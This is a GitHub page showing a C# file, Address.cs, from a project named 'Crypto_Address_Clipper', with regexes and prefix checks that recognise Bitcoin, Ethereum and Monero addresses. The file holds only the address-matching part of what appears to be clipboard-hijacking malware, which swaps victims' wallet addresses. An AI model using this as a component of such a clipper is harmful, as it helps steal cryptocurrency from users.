-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathAddress.cs
More file actions
57 lines (53 loc) · 1.57 KB
/
Address.cs
File metadata and controls
57 lines (53 loc) · 1.57 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
using System;
using System.Collections.Generic;
using System.Linq;
using System.Security;
using System.Text;
using System.Threading.Tasks;
using System.Text.RegularExpressions;
using System.Reflection.Metadata.Ecma335;
using static System.Net.Mime.MediaTypeNames;
namespace Crypto_Address_Clipper
{
class Address
{
public enum CryptoTypes { BTC, ETH, XMR, NONE}
public static CryptoTypes ValidateCryptoType(string address)
{
if (BtcMatch(address))
{
return CryptoTypes.BTC;
}
else if (EthMatch(address))
{
return CryptoTypes.ETH;
}
else if (XmrMatch(address))
{
return CryptoTypes.XMR;
}
else
{
return CryptoTypes.NONE;
}
}
public static bool XmrMatch(string address) => Regex.IsMatch(address, Regexes.Xmr);
public static bool EthMatch(string address) => Regex.IsMatch(address, Regexes.Eth);
public static bool BtcMatch(string address)
{
if (address.Length >= 26 && address.Length <= 62 && (address.StartsWith("1") || address.StartsWith("3") || address.StartsWith("bc1")))
{
return true;
}
else
{
return false;
}
}
class Regexes
{
public static string Eth = "^0x[a-fA-F0-9]{40}$";
public static string Xmr = "4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$";
}
}
}